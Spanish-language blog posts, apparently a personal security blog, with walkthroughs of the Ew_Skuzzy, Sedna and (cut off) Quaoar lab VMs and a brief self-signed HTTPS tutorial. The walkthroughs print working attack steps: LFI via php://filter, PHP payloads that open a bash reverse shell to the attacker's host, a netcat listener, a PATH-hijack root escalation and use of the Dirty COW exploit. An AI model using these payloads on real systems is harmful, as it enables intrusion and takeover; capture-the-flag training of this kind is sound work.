sábado, 9 de abril de 2022

CTF Ew_Skuzzy: 1 VM

 

Primero se escanea los puertos con nmap.
$ sudo nmap -sV -Pn -A -O -oN ew_skuzzy 192.168.2.14
Starting Nmap
Nmap scan report for 192.168.2.14
Host is up (0.00055s latency).
Not shown: 997 closed tcp ports (reset)
Bug in iscsi-info: no string output.
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 89c2ae12d6c5194e684a28e906bd9c19 (RSA)
|   256 f00cae3710d36da2853a77040694f80a (ECDSA)
|_  256 855b491705a0b84e76ceb263c62136e9 (ED25519)
80/tcp   open  http    nginx
|_http-title: Welcome!
3260/tcp open  iscsi?
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel


Se reviso en el navegador el servicio corriendo en el puerto 80


Como el escaneo de directorio no se encontro ningun directorio, o en el código fuente, se comprueba el otro servicio que correo el 3260, según un blog 

iSCSI es un protocolo de red de área de almacenamiento que define cómo se transfieren los datos entre los sistemas host y los dispositivos de almacenamiento. Permite el transporte de datos SCSI a nivel de bloque entre el iniciador iSCSI y el destino de almacenamiento a través de redes TCP/IP.

Se intenta descubrir si este servicio esta expuesto.
$ sudo iscsiadm -m discovery -t sendtargets -p 192.168.2.14:3260
192.168.2.14:3260,1 iqn.2017-02.local.skuzzy:storage.sys0


Para obtener mas información, con el siguiente comando
$ sudo iscsiadm -m node --targetname="iqn.2017-02.local.skuzzy:storage.sys0" -p 192.168.2.14:3260
# BEGIN RECORD
node.name = iqn.2017-02.local.skuzzy:storage.sys0
node.tpgt = 1
node.startup = manual
node.leading_login = No
iface.iscsi_ifacename = default
iface.net_ifacename = <empty>
iface.ipaddress = <empty>
iface.prefix_len = 0
iface.hwaddress = <empty>
iface.transport_name = tcp
iface.initiatorname = <empty>
iface.state = <empty>
iface.vlan_id = 0
iface.vlan_priority = 0
iface.vlan_state = <empty>
iface.iface_num = 0
iface.mtu = 0
iface.port = 0
iface.bootproto = <empty>
iface.subnet_mask = <empty>
iface.gateway = <empty>
iface.dhcp_alt_client_id_state = <empty>
iface.dhcp_alt_client_id = <empty>
iface.dhcp_dns = <empty>
iface.dhcp_learn_iqn = <empty>
iface.dhcp_req_vendor_id_state = <empty>
iface.dhcp_vendor_id_state = <empty>
iface.dhcp_vendor_id = <empty>
iface.dhcp_slp_da = <empty>
iface.fragmentation = <empty>
iface.gratuitous_arp = <empty>
iface.incoming_forwarding = <empty>
iface.tos_state = <empty>
iface.tos = 0
iface.ttl = 0
iface.delayed_ack = <empty>
iface.tcp_nagle = <empty>
iface.tcp_wsf_state = <empty>
iface.tcp_wsf = 0
iface.tcp_timer_scale = 0
iface.tcp_timestamp = <empty>
iface.redirect = <empty>
iface.def_task_mgmt_timeout = 0
iface.header_digest = <empty>
iface.data_digest = <empty>
iface.immediate_data = <empty>
iface.initial_r2t = <empty>
iface.data_seq_inorder = <empty>
iface.data_pdu_inorder = <empty>
iface.erl = 0
iface.max_receive_data_len = 0
iface.first_burst_len = 0
iface.max_outstanding_r2t = 0
iface.max_burst_len = 0
iface.chap_auth = <empty>
iface.bidi_chap = <empty>
iface.strict_login_compliance = <empty>
iface.discovery_auth = <empty>
iface.discovery_logout = <empty>
node.discovery_address = 192.168.2.14
node.discovery_port = 3260
node.discovery_type = send_targets
node.session.initial_cmdsn = 0
node.session.initial_login_retry_max = 8
node.session.xmit_thread_priority = -20
node.session.cmds_max = 128
node.session.queue_depth = 32
node.session.nr_sessions = 1
node.session.auth.authmethod = None
node.session.auth.username = <empty>
node.session.auth.password = <empty>
node.session.auth.username_in = <empty>
node.session.auth.password_in = <empty>
node.session.auth.chap_algs = MD5
node.session.timeo.replacement_timeout = 120
node.session.err_timeo.abort_timeout = 15
node.session.err_timeo.lu_reset_timeout = 30
node.session.err_timeo.tgt_reset_timeout = 30
node.session.err_timeo.host_reset_timeout = 60
node.session.iscsi.FastAbort = Yes
node.session.iscsi.InitialR2T = No
node.session.iscsi.ImmediateData = Yes
node.session.iscsi.FirstBurstLength = 262144
node.session.iscsi.MaxBurstLength = 16776192
node.session.iscsi.DefaultTime2Retain = 0
node.session.iscsi.DefaultTime2Wait = 2
node.session.iscsi.MaxConnections = 1
node.session.iscsi.MaxOutstandingR2T = 1
node.session.iscsi.ERL = 0
node.session.scan = auto
node.session.reopen_max = 0
node.conn[0].address = 192.168.2.14
node.conn[0].port = 3260
node.conn[0].startup = manual
node.conn[0].tcp.window_size = 524288
node.conn[0].tcp.type_of_service = 0
node.conn[0].timeo.logout_timeout = 15
node.conn[0].timeo.login_timeout = 15
node.conn[0].timeo.auth_timeout = 45
node.conn[0].timeo.noop_out_interval = 5
node.conn[0].timeo.noop_out_timeout = 5
node.conn[0].iscsi.MaxXmitDataSegmentLength = 0
node.conn[0].iscsi.MaxRecvDataSegmentLength = 262144
node.conn[0].iscsi.HeaderDigest = None
node.conn[0].iscsi.DataDigest = None
node.conn[0].iscsi.IFMarker = No
node.conn[0].iscsi.OFMarker = No
# END RECORD

 Lo siguiente es conectarse a este servicio con el flag --login
$ sudo iscsiadm -m node --targetname="iqn.2017-02.local.skuzzy:storage.sys0" -p 192.168.2.14:3260 --login
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.2.14,3260] successful.


 Ahora se verifica la tabla de particiones de disco.
$ sudo fdisk -l
...
Disk /dev/sdb: 1 GiB, 1073741824 bytes, 2097152 sectors
Disk model: VIRTUAL-DISK    
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes


Es hora de montar este disco, se crea una carpeta y se monta este disco.
# mount /dev/sdb sdb 

# ls
bobsdisk.dsk  flag1.txt  lost+found

 

Se a encontrado la primer flag
# cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{********************************327f4dd}

Let's see how you go with the next one...

 

Se tiene otro disco pues tambien se intenta montar en otra carpeta.
# mount bobsdisk.dsk ../bobs


Se comprueba los archivos de bob.
# ls
lost+found  ToAlice.csv.enc  ToAlice.eml

 

Se abre el archivo ToAlice.eml se encuentra la flag2 y un monton de pistas para lo que viene.
# cat ToAlice.eml
G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly.

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note.

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{******************************d23d3a7f}


 

Estas son algunas de las pistas

  • -md sha256
  • symmetric key crypto algorithm
  • ROCKYOU
  • 256 bit 
  • competition among crypto geeks in October 2000
  • it's all symmetric keys from here on out.
     

Lo que sigue es hacer un ataque de fuerza bruta contra el archivo encriptado, con las pistas se reduce considerablemente la cantidad de intentos. Se estraen todos los strings de 32bytes (2^8*32=256bites) de rockyou.
$ cat ../rockyou.txt | awk 'length($1)==32'> key.txt


Ahora con un pequeño script se crea que ejecute el siguiente comando y le pase una contraseña desde la lista recien creada.
pswd: supercalifragilisticoespialidoso
openssl aes-256-cbc -d -k pswd -in ToAlice.csv.enc -out ToAlice.csv -md sha2569


Despues de obtener el archivo con la contraseña correcta, se comprueba
# cat ToAlice.csv
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?


Asi pues, se escanea las nuevas rutas
$ gobuster dir -u http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/index.php            (Status: 200) [Size: 969]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/welcome.php          (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/flag.php             (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/reader.php           (Status: 200) [Size: 17]
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/party.php            (Status: 200) [Size: 17]
Progress: 439936 / 441122 (99.73%)

En este se encuentra con una vulnerabilidad de LFI, pero al intentar vulnerarla.

 

Pero en la ruta /c2444910794e037ebd8aaf257178c90b/?p=reader, se accede a una direccion local, al ir a esa direccion se encontro con este archivo.

 

Si no me equivoco, esas ##tags## estan funcionando y las de php estan ejecutando el print. Para acceder al archivo /flag.php gracias a este blog, se puede explotar en la parte donde hace el llamado a una url, se hace el cambio por el protocolo filter y finaliza con el archivo asi.
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
                          


 

Y pasando ese hash a base64 se obtiene esto.
<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Flag</h1>
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
<img src="trollface.png" />
<?php
// Ok, ok. Here's your flag!
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
//
// Well done, you're doing great so far!
// Next step. SHELL!
//
//
// Oh. That flag above? You're gonna need it...
?>


Al probarlo con la ruta reader.php, aparecio lo siguiente
http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=reader.php

<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET['url'])) {
    $url = $_GET['url'];
} else {
    print("<a href=\"?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>");
}

if(isset($url) && strlen($url) != '') {

    // Setup some variables.
    $secretok = false;
    $keyneeded = true;

    // Localhost as a source doesn't need to use the key.
    if(preg_match("#^http://127.0.0.1#", $url)) {
        $keyneeded = false;
        $secretok = true;
    }

    // Handle the key validation when it's needed.
    if($keyneeded) {
        $key = $_GET['key'];
        if(is_array($key)) {
            die("Array trick is mitigated ;)");
        }
        if(isset($key) && strlen($key) == '47') {
        $hashedkey = hash('sha256', $key);
            $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

            // If you can use the following code for a timing attack
            // then good luck :) But.. You have the source anyway, right? :)
        if(strcmp($hashedkey, $secret) == 0) {
                $secretok = true;
            } else {
                die("Sorry... Authentication failed. Key was invalid.");
        }

        } else {
            die("Authentication invalid. You might need a key.");
        }
    }

    // Just to make sure the above key check was passed.
    if(!$secretok) {
        die("Something went wrong with the authentication process");
    }

    // Now load the contents of the file we are reading, and parse
    // the super awesomeness of its contents!
    $f = file_get_contents($url);

    $text = preg_split("/##text##/s", $f);

    if(isset($text['1']) && strlen($text['1']) > 0) {
        print($text['1']);
    }

    print "<br /><br />";

    $php = preg_split("/##php##/s", $f);

    if(isset($php['1']) && strlen($php['1']) > 0) {
        eval($php['1']);
        // "If Eval is the answer, you're asking the wrong question!" - SG
        // It hurts me to write insecure code like this, but it is in the
        // name of education, and FUN, so I'll let it slide this time.
    }
}

 

Luego de improvisar un poco con el buen burpsuit, la key que se necesita es la misma flag4


Al intentar de cambiar la url a la local con un servicio web con un archivo que contiene una reverse shell, funciona hasta, pero no ejecuta el archivo, asi que descargo el archivo data.txt, y si funciono. A partir de ahi se comenzo a probar diferentes comandos para comprobar cual podia funciona, gracias a este post, se inyectar el comando correcto para que se ejecutara la shell.
##php##
print("See? Hacker proof,required!");
system("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.5/4567 0>&1'");
##php##
  

Previamente dejando un puerto para escuchar, se pasa la url con la key y la ruta del archivo txt desde mi local.
$ nc -lvnp 4567

http://192.168.2.14/c2444910794e037ebd8aaf257178c90b/?p=reader&key=flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}&url=http://192.168.2.5:8000/dataall.txt

 

Y ya se tiene acceso, ahora a buscar un punto para escalar en el sistema.
www-data@skuzzy:/home/skuzzy$ find / type f -perm -04000 -ls 2>/dev/null
find / type f -perm -04000 -ls 2>/dev/null
    18326     16 -rwsr-xr-x   1 root     root        14864 Jan 18  2016 /usr/lib/policykit-1/polkit-agent-helper-1
    16689     40 -rwsr-xr-x   1 root     root        38984 Feb  4  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    17467    420 -rwsr-xr-x   1 root     root       428240 Aug 12  2016 /usr/lib/openssh/ssh-keysign
    16114     44 -rwsr-xr--   1 root     messagebus    42992 Jan 13  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
      590     12 -rwsr-xr-x   1 root     root          10240 Feb 25  2014 /usr/lib/eject/dmcrypt-get-device
   152231     56 -rwsr-xr-x   1 root     root          56456 Feb 18  2017 /usr/lib/snapd/snap-confine
      394     40 -rwsr-xr-x   1 root     root          39904 Mar 29  2016 /usr/bin/newgrp
      330     76 -rwsr-xr-x   1 root     root          75304 Mar 29  2016 /usr/bin/gpasswd
      269     40 -rwsr-xr-x   1 root     root          40432 Mar 29  2016 /usr/bin/chsh
    16707     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newuidmap
    18335     24 -rwsr-xr-x   1 root     root          23376 Jan 18  2016 /usr/bin/pkexec
      267     52 -rwsr-xr-x   1 root     root          49584 Mar 29  2016 /usr/bin/chfn
    17780     52 -rwsr-sr-x   1 daemon   daemon        51464 Jan 15  2016 /usr/bin/at
    16706     36 -rwsr-xr-x   1 root     root          32944 Mar 29  2016 /usr/bin/newgidmap
      405     56 -rwsr-xr-x   1 root     root          54256 Mar 29  2016 /usr/bin/passwd
      489    136 -rwsr-xr-x   1 root     root         136808 Jan 21  2017 /usr/bin/sudo
   149630     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount
   131134     40 -rwsr-xr-x   1 root     root          40152 Dec 17  2016 /bin/mount
   131165     40 -rwsr-xr-x   1 root     root          40128 Mar 29  2016 /bin/su
   149660    140 -rwsr-xr-x   1 root     root         142032 Jan 29  2017 /bin/ntfs-3g
   131148     44 -rwsr-xr-x   1 root     root          44168 May  8  2014 /bin/ping
   131149     44 -rwsr-xr-x   1 root     root          44680 May  8  2014 /bin/ping6
   131183     28 -rwsr-xr-x   1 root     root          27608 Dec 17  2016 /bin/umount
   157770     12 -rwsr-xr-x   1 root     root           8736 Mar  2  2017 /opt/alicebackup

 

Se ejecuta el binario de alicebackup y esto pasa.
www-data@skuzzy:/home/skuzzy$ /opt/alicebackup
/opt/alicebackup
uid=0(root) gid=0(root) groups=0(root),33(www-data)
ssh: Could not resolve hostname alice.home: Name or service not known
lost connection


Como se utiliza no un path absoluto para ejecutar el id, se copia bash en un archivo en /tmp, se exporta el path y con suerte se obtiene acceso a root.
www-data@skuzzy:/tmp$ cp /bin/bash id
cp /bin/bash id
www-data@skuzzy:/tmp$ export PATH=/tmp/:$PATH
export PATH=/tmp/:$PATH
www-data@skuzzy:/tmp$ /opt/alicebackup
whoami
root

 

Para obtener el utimo flag, se encuentra en /root, les dejo parte del mensaje.
cat /root/flag.txt
Congratulations!

flag5{*******************************96d89f6a}



Muchas gracias a @vortexau que nos brindó esta VM. Hasta la próxima.

Vulnhub: Ew_Skuzzy: 1
Referencia: community.fs.com
Referencia: diablohorn.com
Referencia: stackoverflow.com


viernes, 4 de marzo de 2022

CTF Hackfest2016: Sedna VM

 


 

Bueno, en esta entrega sedna es una máquina que según el autor hay múltiples formas de conseguir los permisos como usuario root, asi que lo primero se escanea la máquina.

$ sudo nmap -sV -Pn -A -O -oN sedna 192.168.2.18
Starting Nmap
Nmap scan report for 192.168.2.18
Host is up (0.00081s latency).
Not shown: 989 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 aac39e80b48115dd60d508ba3fe0af08 (DSA)
|   2048 417fc25dd53a68e4c5d9cc60067693a5 (RSA)
|   256 ef2d6585f83a85c2330b7df9c8922203 (ECDSA)
|_  256 ca363c32e624f9b7b4d41dfcc0da1096 (ED25519)
53/tcp   open  domain      ISC BIND 9.9.5-3 (Ubuntu Linux)
| dns-nsid:
|_  bind.version: 9.9.5-3-Ubuntu
80/tcp   open  http        Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.4.7 (Ubuntu)
110/tcp  open  pop3        Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL AUTH-RESP-CODE PIPELINING RESP-CODES TOP STLS UIDL CAPA
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
111/tcp  open  rpcbind     2-4 (RPC #100000)
| rpcinfo:
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          35963/tcp6  status
|   100024  1          45479/udp6  status
|   100024  1          49259/udp   status
|_  100024  1          59802/tcp   status
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp  open  imap        Dovecot imapd (Ubuntu)
|_imap-capabilities: LITERAL+ ENABLE ID more post-login have LOGINDISABLEDA0001 capabilities Pre-login STARTTLS listed IDLE OK IMAP4rev1 SASL-IR LOGIN-REFERRALS
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_ssl-date: TLS randomness does not represent time
445/tcp  open  netbios-ssn Samba smbd 4.1.6-Ubuntu (workgroup: WORKGROUP)
993/tcp  open  ssl/imap    Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_imap-capabilities: LITERAL+ ENABLE ID more have post-login AUTH=PLAINA0001 capabilities Pre-login listed IDLE OK IMAP4rev1 SASL-IR LOGIN-REFERRALS
|_ssl-date: TLS randomness does not represent time
995/tcp  open  ssl/pop3    Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=localhost/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T19:17:14
|_Not valid after:  2026-10-07T19:17:14
|_pop3-capabilities: USER AUTH-RESP-CODE PIPELINING SASL(PLAIN) TOP RESP-CODES UIDL CAPA
8080/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_  Potentially risky methods: PUT DELETE
|_http-server-header: Apache-Coyote/1.1
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Host: SEDNA; OS: Linux; CPE: cpe:/o:linux:linux_kernel


Ahora en desde el navegador se puede ver lo siguiente.



 Ahora se indaga cuáles directorios están disponibles.

$ gobuster dir -u http://192.168.2.18/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.18/files                (Status: 301) [Size: 311] [--> http://192.168.2.18/files/]
http://192.168.2.18/themes               (Status: 301) [Size: 312] [--> http://192.168.2.18/themes/]
http://192.168.2.18/modules              (Status: 301) [Size: 313] [--> http://192.168.2.18/modules/]
http://192.168.2.18/system               (Status: 301) [Size: 312] [--> http://192.168.2.18/system/]
http://192.168.2.18/blocks               (Status: 301) [Size: 312] [--> http://192.168.2.18/blocks/]
http://192.168.2.18/server-status        (Status: 403) [Size: 292]
Progress: 220532 / 220561 (99.99%)
===============================================================

 

Cuando se revisa el directorio /themes, se pudo obtener más información acerca de la máquina.




Buscando se encontró un exploit para este CMS.


En este caso, solo se le cambia la IP de la VM, y asegurarse que la extensión sea .html, al abrir con el navegador este archivo, solo es necesario cargar el revershell.

$ cat shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.2.5/4567 0>&1'");?>

Una vez cargado se encuentra en la ruta /files, pero antes se deja escuchando por el puerto que se especificó en el revershell.
$ nc -lvnp 4567


Ya adentro, se explora los archivos y se encuentra el primer flag
www-data@Sedna:/var/www$ cat flag.txt
cat flag.txt
********************8b9aeac6b289

 

Llegando a home, se nota que no hay algún workspace de usuarios, se verificó la información de la máquina.
www-data@Sedna:/var/www/html/files$ cat /etc/*-release
cat /etc/*-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=14.04
DISTRIB_CODENAME=trusty
DISTRIB_DESCRIPTION="Ubuntu 14.04.1 LTS"
NAME="Ubuntu"
VERSION="14.04.1 LTS, Trusty Tahr"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 14.04.1 LTS"
VERSION_ID="14.04"
HOME_URL="http://www.ubuntu.com/"
SUPPORT_URL="http://help.ubuntu.com/"
BUG_REPORT_URL="http://bugs.launchpad.net/ubuntu/"

 

Se encontró un exploit con estas características y que permiten elevar privilegios.
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method).

 

 Siguiendo las instrucciones del exploit y te pedirá una contraseña.
gcc -pthread 40839.c -o dirty -lcrypt
./dirty

 

Algo para resaltar es que aparentemente este exploit es muy agresivo, a los pocos segundos de ejecutarlo la máquina se atora, asi que lo siguiente para conseguir acceso a root, en otra pestaña. Este usuario se encuentra dentro del exploit.

$ ssh -l firefart 192.168.2.19
firefart@192.168.2.19's password: (contraseña que se le dio al exploit)
 

Ahora para encontrar la flag de root.
firefart@Sedna:~# ls
8d2daf441809dcd86398d3d750d768b5-BuilderEngine-CMS-V3.zip  chkrootkit  flag.txt
firefart@Sedna:~# cat flag.txt
*****************936614558305

Muchas gracias a @ViperBlackSkull que nos brindó esta VM. Hasta la próxima.

Vulnhub: hackfest2016: Sedna

jueves, 24 de febrero de 2022

Como crear servidor https con un certificado autofirmado

Como crear servidor HTTPS con un certificado autofirmado


Para habilitar en local host un servicio web con HTTPS es necesario crear certificados autofirmados.

Un certificado autofirmado no es confirmado por una entidad generadora de certificados, aun teniendo una clave privada asociada. Además, incluye una clave pública, información sobre el propietario y la firma propietario.

Un certificado de este tipo es suficiente para crear una conexión HTTPS segura para ambientes de desarrollo, ya que los navegadores se quejarán de que el certificado está autofirmado (y como tal no es de confianza).

Para crearlos ese necesario tener instalado OpenSSL y ejecutar el siguiente comando.
$ openssl req -nodes -new -x509 -keyout server.key -out server.cert

 

En el proceso pedirá información como las 2 primeras letras del nombre del país, luego el nombre del estado o provincia, la localidad (ciudad), también datos de la organización,  por último el nombre común (localhost) y el correo.

 

En el directorio se puede comprobar que se generaron 2 archivos, uno con extensión .cert y el otro .key, estos serán necesarios para generar la conexión https.

Para el siguiente ejemplo, usaré express, un framework muy conocido para crear servicios https.

 

Al comprobar en el navegador, no sucede nada.


Ahora modificando un poco el script para que pueda hacer conexión HTTPS. Primero se importa 2 módulos, HTTPS para crear un webserver y fs para manipular archivos. En el método https.createserver, se pasan los archivos en un JSON y escuchará por el puerto indicado.


 

Al comprobar en el navegador, sale esta pequeña alerta que había mencionado antes, selecciona la opción avanzada y clic en aceptar riesgo y continuar. 

 

y voila, ya se tiene un servicio web corriendo con certificado TLS.


sábado, 12 de febrero de 2022

CTF Hackfest2016: Quaoar VM

 

Lo primero es hacer reconocimiento de los servicios que están corriendo con nmap.
$ sudo nmap -sV -Pn -A -O -oN smaggrotto 192.168.2.12
Starting Nmap
Nmap scan report for 192.168.2.12
Host is up (0.00088s latency).
Not shown: 991 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 d00a61d5d03a38c267c3c3428faeabe5 (DSA)
|   2048 bce03bef97999a8b9e96cf02cdf15edc (RSA)
|_  256 8c734683988f0df7f5c8e458680f8075 (ECDSA)
53/tcp  open  domain      ISC BIND 9.8.1-P1
| dns-nsid:
|_  bind.version: 9.8.1-P1
80/tcp  open  http        Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| http-robots.txt: 1 disallowed entry
|_Hackers
|_http-server-header: Apache/2.2.22 (Ubuntu)
110/tcp open  pop3        Dovecot pop3d
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_pop3-capabilities: CAPA RESP-CODES SASL STLS PIPELINING TOP UIDL
|_ssl-date: 2023-02-19T01:39:13+00:00; +2s from scanner time.
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: more LOGIN-REFERRALS Pre-login IMAP4rev1 have LITERAL+ SASL-IR ENABLE IDLE listed STARTTLS ID post-login capabilities OK LOGINDISABLEDA0001
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_ssl-date: 2023-02-19T01:39:13+00:00; +2s from scanner time.
445/tcp open  netbios-ssn Samba smbd 3.6.3 (workgroup: WORKGROUP)
993/tcp open  ssl/imap    Dovecot imapd
|_imap-capabilities: LOGIN-REFERRALS Pre-login IMAP4rev1 more LITERAL+ SASL-IR ENABLE IDLE AUTH=PLAINA0001 have ID post-login listed OK capabilities
|_ssl-date: 2023-02-19T01:39:13+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
995/tcp open  ssl/pop3    Dovecot pop3d
|_ssl-date: 2023-02-19T01:39:13+00:00; +2s from scanner time.
| ssl-cert: Subject: commonName=ubuntu/organizationName=Dovecot mail server
| Not valid before: 2016-10-07T04:32:43
|_Not valid after:  2026-10-07T04:32:43
|_pop3-capabilities: CAPA RESP-CODES SASL(PLAIN) USER PIPELINING TOP UIDL
MAC Address: **:**:**:**:**:** (***)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 50m02s, deviation: 2h02m28s, median: 1s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_nbstat: NetBIOS name: QUAOAR, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
|_smb2-time: Protocol negotiation failed (SMB2)
| smb-os-discovery:
|   OS: Unix (Samba 3.6.3)
|   NetBIOS computer name:
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-02-18T20:39:05-05:00


 Al visitar el navegador se encuentra con esto.

 

Después se escaneó los directorios disponibles.
$ gobuster dir -u http://192.168.2.12/ -e -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
http://192.168.2.12/index                (Status: 200) [Size: 100]
http://192.168.2.12/upload               (Status: 301) [Size: 313] [--> http://192.168.2.12/upload/]
http://192.168.2.12/wordpress            (Status: 301) [Size: 316] [--> http://192.168.2.12/wordpress/]
http://192.168.2.12/robots               (Status: 200) [Size: 271]
http://192.168.2.12/hacking              (Status: 200) [Size: 616848]
